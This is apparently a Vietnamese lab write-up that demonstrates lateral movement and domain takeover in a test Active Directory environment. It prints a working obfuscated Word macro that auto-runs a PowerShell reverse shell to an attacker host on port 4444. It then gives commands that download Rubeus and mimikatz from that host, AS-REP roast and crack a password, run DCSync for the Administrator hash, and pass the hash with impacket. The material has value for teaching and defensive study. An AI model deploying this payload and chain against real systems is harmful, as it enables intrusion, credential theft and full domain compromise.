# LATERAL MOVEMENT
## CẤU HÌNH
### PFSENSE

Cấu hình pfsense thông ra mạng
### Domain Controler (DC)
Domain name: antoanmang.vn
**User chính:**
`Administrator`: default domain
`nam`: user đã bật preauthentication disabled + quyền Replicating Directory Changes
`minh`: user bình thường bị phishing
**User nam:**
* Do not require Kerberos preauthentication

* Quyền: Replicating Directory Changes và Replicating Directory Changes All

Việc cấu hình này nhằm mô phỏng các sai sót phân quyền thường gặp trong thực tế, tạo điều kiện cho kịch bản khai thác và lateral movement.
### 2 máy client Window 10
Máy 1
* Join domain: `antoanmang`
* Ip: 10.0.1.10
* Có user minh login được vào may:
minh@antoanmang.vn: user bình thường, bị phishing
Máy 2
* Join domain: `antoanmang`
* Ip: 10.0.1.11
* Có user nam login vào mát:
nam@antoanmang.vn: user bình thường, bị phishing
### MailSever
* Join domain: `antoanmang.vn`
* Ip: 10.0.1.20
## DEMO
### Phishing Email
Trong kịch bản thực nghiệm, giai đoạn xâm nhập ban đầu được mô phỏng bằng hình thức phishing qua email, một trong những phương thức phổ biến nhất được kẻ tấn công sử dụng trong môi trường doanh nghiệp thực tế.
Email phishing đính kèm một tệp tài liệu định dạng Microsoft Word, bên trong có tích hợp macro. Khi người dùng mở tệp và cho phép macro hoạt động, mã macro sẽ được thực thi trong ngữ cảnh của người dùng hiện tại.

* Dùng macro trong word tạo kết nối đến máy attack ip 10.0.1.5
```
Sub test()
' test Macro
Dim objshell As Object
Set objshell = CreateObject("Wscript.Shell")
objshell.Run ""
INVOKE-ExprESSION(('Write'+'-Hos'+'t '+'ZH'+'X'+'po'+'we'+'r'+'she'+'ll '+'-W'+'i'+'nd'+'owSt'+'yle'+' H'+'idde'+'n -'+'N'+'oP'+'ro'+'fil'+'e '+'-Execu'+'tion'+'Poli'+'cy'+' Bypass -Command 6ER'+'6ERvckco'+'mm'+'and'+' = {while(vckt'+'rue)'+'{tr'+'y '+'{vckcl'+' = '+'N'+'e'+'w-Objec'+'t Syst'+'e'+'m'+'.Net.Sock'+'ets.Tc'+'p'+'Clien'+'t'+'('+'Z'+'HX10.'+'0.'+'1.'+'5'+'ZH'+'X,4'+'444);vckst '+'= vckcl.Ge'+'tStrea'+'m();vckrd'+' = N'+'ew-Ob'+'ject IO.'+'Stre'+'amRea'+'der(v'+'ckst);vck'+'wr = New-Objec'+'t '+'IO.Strea'+'mWr'+'iter(vc'+'kst'+');vckwr.'+'Au'+'toFlu'+'sh '+'= '+'vcktrue;whi'+'le(v'+'ckcl'+'.C'+'onn'+'ec'+'ted){vckcmd = vckrd.'+'R'+'eadLi'+'ne();'+'if('+'vckcmd -eq ZHXex'+'itZHX'+'){'+'break;}t'+'ry{vc'+'kre'+'s = '+'ie'+'x vck'+'cmd 2>&1 '+'QYJ Out-St'+'r'+'i'+'ng;}'+'catch{vck'+'res'+' = '+'vck'+'_'+'.'+'Excep'+'t'+'ion.Messag'+'e'+';} '+'vckwr.WriteLine(vckr'+'e'+'s);'+'vck'+'wr.Flus'+'h('+');}vckcl.'+'Close'+'('+');'+'}'+'catch'+'{'+'S'+'tart-'+'S'+'leep'+' -'+'Sec'+'on'+'d'+'s'+' '+'10;}}}'+';
Start-'+'P'+'rocess pow'+'e'+'rs'+'he'+'l'+'l -'+'Wi'+'ndo'+'wS'+'tyle Hidd'+'en -Ar'+'gument'+'Li'+'st'+' '+'ZH'+'X-'+'NoP'+'rofil'+'e'+'ZHX, ZHX-Exe'+'cutionPolic'+'y'+'Z'+'HX, ZHXBy'+'p'+'a'+'ssZH'+'X, '+'ZHX-Com'+'ma'+'n'+'d'+'ZHX,'+' vc'+'kco'+'mmand6ER6ER'+'ZH'+'X -Fore'+'g'+'roundCo'+'lo'+'r G'+'r'+'een').rEPlaCE('ZHX',[StrING][ChaR]39).rEPlaCE(([ChaR]81+[ChaR]89+[ChaR]74),'|').rEPlaCE(([ChaR]118+[ChaR]99+[ChaR]107),'$').rEPlaCE(([ChaR]54+[ChaR]69+[ChaR]82),[StrING][ChaR]34)) "
Set objshell = Nothing
End Sub
Sub AutoOpen()
Call test
End Sub
```
* Ở máy attacker ta mở cổng 4444 để lắng nghe vì file đã được cấu hình macro kết nối tới máy tấn công với cổng 4444

* Khi user minh mở file thì sẽ tạo kết nối tcp đến máy attacker

* Tao web để tải tool Rubeus.exe

* Dùng lệnh này để tải tool
```
Start-BitsTransfer -Source "http://10.0.1.5:5555/GhostpackBinaries/Rubeus.exe" -Destination C:\Users\minh.ANTOANMANG\Downloads
```

Sau khi lấy được shell kẻ tấn công tiếp tục thực hiện giai đoạn thu thập thông tin xác thực (Credential Access) nhằm mở rộng phạm vi truy cập trong hệ thống domain.
Sau đó attacker tải công cụ Rubeus một công cụ chuyên dùng để tương tác với cơ chế xác thực Kerberos trong môi trường Active Directory. Việc sử dụng Rubeus cho phép attacker khai thác các cấu hình xác thực chưa an toàn trong domain, đặc biệt là các tài khoản người dùng được cấu hình Kerberos yếu, từ đó thu thập thông tin xác thực hợp lệ mà không cần quyền quản trị ngay từ đầu.
* `./Rubeus.exe asreproast`

### Thu thập Hash và Crack offline
Sau khi thu được AS-REP hash của tài khoản nam, kẻ tấn công chuyển sang giai đoạn bẻ khóa ngoại tuyến (offline cracking) bằng công cụ Hashcat, như hình minh họa. Điểm quan trọng của bước này là: AS-REP hash có thể được mang ra khỏi hệ thống và xử lý trên máy tấn công mà không cần tiếp tục tương tác với Domain Controller, nhờ đó giảm khả năng bị phát hiện và không gây thêm lưu lượng bất thường trong mạng nội bộ. Hashcat sẽ thử khôi phục mật khẩu gốc từ hash bằng cách so khớp với một tập mật khẩu thử (ví dụ wordlist phổ biến), và khi tìm được chuỗi khớp, nó trả về mật khẩu dạng rõ (plaintext) tương ứng với tài khoản nam với username: nam@antoangmang.vn password: @Nam123

* Lệnh `hashcat -a 0 -m 18200 -d 1 hash.txt rockyou.txt` ta lấy user nam trong domain antoanmang và mật khẩu là @Nam123
### Recon

Lệnh arp -a được sử dụng để hiển thị bảng arp (address resolution protocol) của máy đang chạy lệnh

Sau khi tiến hành trinh sát và quét các địa chỉ ip trong mạng nội bộ, kết quả cho thấy máy có địa chỉ 10.0.1.20 đang mở nhiều dịch vụ mạng, trong đó đáng chú ý là cổng 3389 tương ứng với dịch vụ remote desktop protocol. việc cổng này ở trạng thái mở cho phép thiết lập kết nối đăng nhập từ xa vào máy thông qua cơ chế xác thực của windows
Dùng lệnh `rdesktop 10.0.1.20`

Đăng nhập vào user nam thôi


Trong bước này, sau khi attacker đã truy cập được vào máy mục tiêu thông qua rdp, attacker sử dụng lệnh start-bitstransfer để tải tệp mimikatz từ máy tấn công về máy đang điều khiển.
```
Start-BitsTransfer -Source "http://10.0.1.5:5555/mimikatz/x64/mimikatz.exe" -Destination C:\Users\nam.ANTOANMANG\Downloads
```

Dùng mimikatz lấy NTLM hash của administrator DC
`lsadump::dcsync /domain:antoanmang.vn /user:Administrator`
Lệnh được sử dụng để truy vấn và sao chép thông tin xác thực của một tài khoản trong domain active directory bằng cách mô phỏng cơ chế đồng bộ dữ liệu giữa các domain controller. thay vì tấn công trực tiếp vào domain controller hay trích xuất mật khẩu từ bộ nhớ cục bộ, lệnh này lợi dụng chức năng replication hợp lệ của active directory, vốn được thiết kế để các dc đồng bộ dữ liệu với nhau

### Domain takeover
tool: `impacket-wmiexec.py`
lệnh:
```
impacket-wmiexec antoanmang.vn/Administrator@10.0.1.30 -hashes :ac7eb65dab36760bdf7911e5187b7362
```
Sau khi lấy được ntlm hash của admin, attacker đã có trong tay thông tin xác thực ở mức cao nhất của domain mà không cần biết mật khẩu dạng rõ. với ntlm hash này, attacker có thể sử dụng các cơ chế xác thực dựa trên hash để truy cập từ xa vào các máy trong domain dưới danh nghĩa administrator.Lệnh impacket được sử dụng trong bước này nhằm thiết lập truy cập từ xa và thực thi lệnh trên máy mục tiêu bằng thông tin xác thực đã thu thập được, cụ thể là ntlm hash của tài khoản administrator.
